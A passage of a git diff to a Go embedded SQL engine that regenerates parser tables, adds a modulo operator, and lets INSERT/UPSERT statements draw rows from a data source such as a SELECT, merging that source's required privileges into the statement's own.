0, 0, 0, 181, 0, 180, 0, 0, - 70, 71, 0, 23, 24, 0, 26, 27, 43, 0, - 0, 0, 0, 0, 153, 0, 0, 151, 58, 59, - -2, 164, 0, 0, 0, 0, 0, 0, 126, 111, - 117, 114, 115, 167, 87, 0, 0, 28, 44, 45, - 46, 191, 174, 0, 175, 0, 83, 0, 21, 0, - 29, 0, 0, 0, 66, 0, 53, 0, 152, 0, - 153, 145, 139, -2, 0, 144, 120, 164, 0, 164, - 164, 0, 164, 0, 85, 0, 0, 92, 0, 0, - 19, 0, 0, 0, 0, 72, 25, 31, 32, 55, - 62, 69, 52, 154, 158, 49, 0, 54, 147, 141, - 0, 121, 0, 122, 123, 124, 125, 0, 0, 0, - 90, 93, 0, 0, 0, 20, 176, 177, 78, 51, - 0, 0, 0, 0, 149, 0, 157, 164, 0, 167, - 0, 86, 91, 94, 88, 89, 63, 0, 64, 50, - 155, 0, 0, 0, 127, 0, 168, 0, 0, 151, - 0, 150, 148, 67, 0, 17, 167, 56, 153, 0, - 0, 142, 169, 103, 156, 161, 68, 0, 159, 162, - 163, 161, 160, + 0, 0, 0, 0, 130, 106, 99, 100, 0, 102, + 103, 0, 109, 3, 0, 0, 0, 0, 47, 0, + 15, 16, 135, 0, 0, 18, 0, 0, 30, 0, + 0, 0, 33, 0, 0, 0, 0, 147, 0, 0, + 107, 101, 0, 0, 110, 111, 166, -2, 173, 0, + 0, 0, 180, 181, 0, 114, 0, 75, 76, 77, + 78, 79, 0, 81, 82, 83, 84, 120, 13, 0, + 0, 0, 0, 0, 131, 0, 0, 133, 0, 139, + 134, 0, 0, 0, 0, 0, 0, 0, 35, 0, + 62, 0, 159, 0, 147, 59, 0, 98, 104, 0, + 0, 112, 0, 0, 0, 0, 0, 0, 0, 0, + 167, 0, 0, 0, 185, 174, 175, 0, 0, 115, + 0, 0, 0, 71, 0, 48, 0, 0, 0, 0, + 136, 137, 138, 0, 22, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 63, 67, 0, 153, 0, 148, + 159, 0, 0, 159, 132, 0, 0, 0, 0, 0, + 166, 130, 166, 186, 187, 188, 189, 190, 191, 192, + 193, 0, 168, 0, 0, 183, 0, 182, 0, 118, + 0, 0, 120, 0, 0, 72, 73, 121, 0, 86, + 0, 0, 0, 43, 0, 23, 24, 0, 26, 27, + 43, 0, 0, 0, 0, 0, 155, 0, 0, 153, + 60, 61, -2, 166, 0, 0, 0, 0, 0, 0, + 128, 113, 194, 176, 0, 177, 119, 116, 117, 0, + 85, 0, 169, 89, 0, 0, 28, 44, 45, 46, + 21, 0, 29, 0, 0, 57, 0, 56, 68, 52, + 53, 0, 154, 0, 155, 147, 141, -2, 0, 146, + 122, 166, 0, 166, 166, 0, 166, 0, 0, 0, + 74, 0, 87, 0, 0, 94, 0, 0, 19, 0, + 25, 31, 32, 51, 0, 55, 64, 71, 156, 160, + 49, 0, 54, 149, 143, 0, 123, 0, 124, 125, + 126, 127, 178, 179, 80, 0, 0, 0, 92, 95, + 0, 0, 0, 20, 0, 0, 0, 0, 151, 0, + 159, 166, 0, 169, 0, 88, 93, 96, 90, 91, + 0, 65, 66, 50, 157, 0, 0, 0, 129, 0, + 170, 0, 58, 153, 0, 152, 150, 69, 0, 17, + 169, 155, 0, 0, 144, 171, 105, 158, 163, 70, + 0, 161, 164, 165, 163, 162, } var yyTok1 = [...]int8{ 1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, + 3, 3, 3, 3, 3, 3, 3, 107, 3, 3, + 110, 111, 105, 103, 102, 104, 108, 106, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 108, 109, 104, 102, 101, 103, 106, 105, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 110, 3, 111, + 3, 112, 3, 113, } var yyTok2 = [...]int8{ @@ -568,7 +574,8 @@ var yyTok2 = [...]int8{ 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, - 92, 93, 94, 95, 96, 97, 98, 99, 100, 107, + 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, + 109, } var yyTok3 = [...]int8{ @@ -1141,14 +1148,14 @@ yydefault: yyVAL.ids = yyDollar[2].ids } case 51: - yyDollar = yyS[yypt-9 : yypt+1] + yyDollar = yyS[yypt-8 : yypt+1] { - yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} + yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, ds: yyDollar[7].ds, onConflict: yyDollar[8].onConflict} } case 52: - yyDollar = yyS[yypt-8 : yypt+1] + yyDollar = yyS[yypt-7 : yypt+1] { - yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} + yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, ds: yyDollar[7].ds} } case 53: yyDollar = yyS[yypt-7 : yypt+1] @@ -1161,211 +1168,221 @@ yydefault: yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } case 55: + yyDollar = yyS[yypt-2 : yypt+1] + { + yyVAL.ds = &valuesDataSource{rows: yyDollar[2].rows} + } + case 56: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.ds = yyDollar[1].stmt.(DataSource) + } + case 57: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 56: + case 58: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 57: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 58: + case 60: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 59: + case 61: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 60: + case 62: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 61: + case 63: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 62: + case 64: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 63: + case 65: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 64: + case 66: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 65: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 66: + case 68: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 67: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 68: + case 70: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 69: + case 71: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 70: + case 72: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 71: + case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 72: + case 74: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 73: + case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 74: + case 76: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 75: + case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 76: + case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 77: + case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 78: + case 80: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 79: + case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 80: + case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 81: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 82: + case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 83: + case 85: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 84: + case 86: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 85: + case 87: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 86: + case 88: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 87: + case 89: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } - case 88: + case 90: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 89: + case 91: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } - case 90: + case 92: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 91: + case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 92: + case 94: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 93: + case 95: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 94: + case 96: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 95: + case 97: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 96: + case 98: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1374,506 +1391,509 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 97: + case 99: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } - case 98: + case 100: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } - case 99: + case 101: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}, } } - case 100: + case 102: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } - case 101: + case 103: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants"}}, } } - case 102: + case 104: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants", params: []ValueExp{&Varchar{val: yyDollar[4].id}}}}, } } - case 103: + case 105: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ - distinct: yyDollar[2].distinct, - selectors: yyDollar[3].sels, - ds: yyDollar[5].ds, - indexOn: yyDollar[6].ids, - joins: yyDollar[7].joins, - where: yyDollar[8].exp, - groupBy: yyDollar[9].cols, - having: yyDollar[10].exp, - orderBy: yyDollar[11].ordcols, - limit: yyDollar[12].exp, - offset: yyDollar[13].exp, + distinct: yyDollar[2].distinct, + targets: yyDollar[3].targets, + ds: yyDollar[5].ds, + indexOn: yyDollar[6].ids, + joins: yyDollar[7].joins, + where: yyDollar[8].exp, + groupBy: yyDollar[9].cols, + having: yyDollar[10].exp, + orderBy: yyDollar[11].ordcols, + limit: yyDollar[12].exp, + offset: yyDollar[13].exp, } } - case 104: + case 106: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 105: + case 107: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 106: + case 108: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 107: + case 109: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 108: + case 110: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.sels = nil + yyVAL.targets = nil } - case 109: + case 111: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.sels = yyDollar[1].sels + yyVAL.targets = yyDollar[1].targets } - case 110: + case 112: yyDollar = yyS[yypt-2 : yypt+1] { - yyDollar[1].sel.setAlias(yyDollar[2].id) - yyVAL.sels = []Selector{yyDollar[1].sel} + yyVAL.targets = []TargetEntry{{Exp: yyDollar[1].exp, As: yyDollar[2].id}} } - case 111: + case 113: yyDollar = yyS[yypt-4 : yypt+1] { - yyDollar[3].sel.setAlias(yyDollar[4].id) - yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) + yyVAL.targets = append(yyDollar[1].targets, TargetEntry{Exp: yyDollar[3].exp, As: yyDollar[4].id}) } - case 112: + case 114: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 113: + case 115: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} } - case 114: + case 116: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 115: + case 117: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 116: + case 118: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.jsonFields = []string{yyDollar[2].str} } - case 117: + case 119: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) } - case 118: + case 120: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 119: + case 121: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 120: + case 122: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 121: + case 123: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } - case 122: + case 124: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } - case 123: + case 125: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } - case 124: + case 126: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } - case 125: + case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } - case 126: + case 128: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } - case 127: + case 129: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } - case 128: + case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].id} } - case 129: + case 131: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } - case 130: + case 132: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 131: + case 133: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 132: + case 134: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 133: + case 135: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } - case 134: + case 136: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } - case 135: + case 137: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } - case 136: + case 138: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } - case 137: + case 139: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } - case 138: + case 140: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } - case 139: + case 141: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } - case 140: + case 142: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } - case 141: + case 143: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } - case 142: + case 144: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].ids, cond: yyDollar[6].exp} } - case 143: + case 145: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } - case 144: + case 146: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } - case 145: + case 147: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 146: + case 148: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 147: + case 149: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } - case 148: + case 150: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } - case 149: + case 151: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 150: + case 152: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 151: + case 153: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 152: + case 154: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 153: + case 155: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } - case 154: + case 156: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 155: + case 157: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordcols = nil } - case 156: + case 158: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordcols = yyDollar[3].ordcols } - case 157: + case 159: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 158: + case 160: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ids = yyDollar[4].ids } - case 159: + case 161: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordcols = []*OrdCol{{sel: yyDollar[1].sel, descOrder: yyDollar[2].opt_ord}} } - case 160: + case 162: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordcols = append(yyDollar[1].ordcols, &OrdCol{sel: yyDollar[3].sel, descOrder: yyDollar[4].opt_ord}) } - case 161: + case 163: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } - case 162: + case 164: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } - case 163: + case 165: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } - case 164: + case 166: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } - case 165: + case 167: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].id } - case 166: + case 168: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].id } - case 167: + case 169: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.checks = nil } - case 168: + case 170: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{exp: yyDollar[2].exp}}, yyDollar[4].checks...) } - case 169: + case 171: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.checks = append([]CheckConstraint{{name: yyDollar[2].id, exp: yyDollar[4].exp}}, yyDollar[6].checks...) } - case 170: + case 172: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } - case 171: + case 173: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].binExp } - case 172: + case 174: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } - case 173: + case 175: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } - case 174: + case 176: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } - case 175: + case 177: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } - case 176: + case 178: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } - case 177: + case 179: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } - case 178: + case 180: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } - case 179: + case 181: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } - case 180: + case 182: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } - case 181: + case 183: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } - case 182: + case 184: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 183: + case 185: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 184: + case 186: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } - case 185: + case 187: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } - case 186: + case 188: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } - case 187: + case 189: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } - case 188: + case 190: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.binExp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} + } + case 191: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &BinBoolExp{left: yyDollar[1].exp, op: yyDollar[2].logicOp, right: yyDollar[3].exp} } - case 189: + case 192: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } - case 190: + case 193: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } - case 191: + case 194: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.binExp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index e7bdd69410..6fa519228a 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -175,6 +175,7 @@ const ( SUBSOP DIVOP MULTOP + MODOP ) func NumOperatorString(op NumOperator) string { @@ -187,6 +188,8 @@ func NumOperatorString(op NumOperator) string { return "/" case MULTOP: return "*" + case MODOP: + return "%" } return "" } @@ -199,19 +202,6 @@ const ( RightJoin ) -const ( - NowFnCall string = "NOW" - UUIDFnCall string = "RANDOM_UUID" - DatabasesFnCall string = "DATABASES" - TablesFnCall string = "TABLES" - TableFnCall string = "TABLE" - UsersFnCall string = "USERS" - ColumnsFnCall string = "COLUMNS" - IndexesFnCall string = "INDEXES" - GrantsFnCall string = "GRANTS" - JSONTypeOfFnCall string = "JSON_TYPEOF" -) - type SQLStmt interface { readOnly() bool requiredPrivileges() []SQLPrivilege @@ -1029,7 +1019,7 @@ type UpsertIntoStmt struct { isInsert bool tableRef *tableRef cols []string - rows []*RowSpec + ds DataSource onConflict *OnConflictDo } @@ -1038,18 +1028,26 @@ func (stmt *UpsertIntoStmt) readOnly() bool { } func (stmt *UpsertIntoStmt) requiredPrivileges() []SQLPrivilege { + privileges := stmt.privileges() + if stmt.ds != nil { + privileges = append(privileges, stmt.ds.requiredPrivileges()...) + } + return privileges +} + +func (stmt *UpsertIntoStmt) privileges() []SQLPrivilege { if stmt.isInsert { return []SQLPrivilege{SQLPrivilegeInsert} } return []SQLPrivilege{SQLPrivilegeInsert, SQLPrivilegeUpdate} } -func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { +func NewUpsertIntoStmt(table string, cols []string, ds DataSource, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ isInsert: isInsert, tableRef: NewTableRef(table, ""), cols: cols, - rows: rows, + ds: ds, onConflict: onConflict, } } @@ -1067,9 +1065,13 @@ func NewRowSpec(values []ValueExp) *RowSpec { type OnConflictDo struct{} func (stmt *UpsertIntoStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { - emptyDescriptors := make(map[string]ColDescriptor) + ds, ok := stmt.ds.(*valuesDataSource) + if !ok { + return stmt.ds.inferParameters(ctx, tx, params) + } - for _, row := range stmt.rows { + emptyDescriptors := make(map[string]ColDescriptor) + for _, row := range ds.rows { if len(stmt.cols) != len(row.Values) { return ErrInvalidNumberOfValues } @@ -1130,8 +1132,22 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st ValuesBySelector: make(map[string]TypedValue), } - for _, row := range stmt.rows { - if len(row.Values) != len(stmt.cols) { + reader, err := stmt.ds.Resolve(ctx, tx, params, nil) + if err != nil { + return nil, err + } + defer reader.Close() + + for { + row, err := reader.Read(ctx) + if errors.Is(err, ErrNoMoreRows) { + break + } + if err != nil { + return nil, err + } + + if len(row.ValuesByPosition) != len(stmt.cols) { return nil, ErrInvalidNumberOfValues } @@ -1165,7 +1181,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st } // value was specified - cVal := row.Values[colPos] + cVal := row.ValuesByPosition[colPos] val, err := cVal.substitute(params) if err != nil { @@ -1261,7 +1277,6 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st return nil, err } } - return tx, nil } @@ -1872,6 +1887,7 @@ type ValueExp interface { inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error substitute(params map[string]interface{}) (ValueExp, error) + selectors() []Selector reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) reduceSelectors(row *Row, implicitTable string) ValueExp isConstant() bool @@ -2058,6 +2074,10 @@ func (v *NullValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, return nil } +func (v *NullValue) selectors() []Selector { + return nil +} + func (v *NullValue) substitute(params map[string]interface{}) (ValueExp, error) { return v, nil 